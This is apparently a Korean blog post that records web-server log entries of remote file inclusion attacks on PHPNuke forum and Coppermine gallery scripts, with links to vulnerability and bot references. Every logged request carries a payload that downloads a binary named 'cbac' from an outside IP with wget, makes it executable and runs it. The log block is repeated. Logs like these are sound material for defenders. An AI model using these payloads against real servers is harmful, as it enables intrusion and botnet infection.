1. PHPNuke 공격 로그
"GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 178 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /admin_styles.phpadmin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 173 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /Forums/admin/admin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 170 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
취약점 및 Bot 정보 : http://uk.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?VName=ELF_KAIGENT.C
2. Coppermine 포토갤러리 공격 로그
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 184 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /modules/coppermine/themes/default/theme.phptheme.php?THEME_DIR=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 193 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
취약점 정보 : http://www.osvdb.org/5912
"GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 178 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /admin_styles.phpadmin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 173 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /Forums/admin/admin_styles.php?phpbb_root_path=209.136.48.69/cmd.dat?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 170 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
취약점 및 Bot 정보 : http://uk.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?VName=ELF_KAIGENT.C
2. Coppermine 포토갤러리 공격 로그
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 184 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /modules/coppermine/themes/default/theme.phptheme.php?THEME_DIR=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo| HTTP/1.1" 404 193 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
취약점 정보 : http://www.osvdb.org/5912

덧글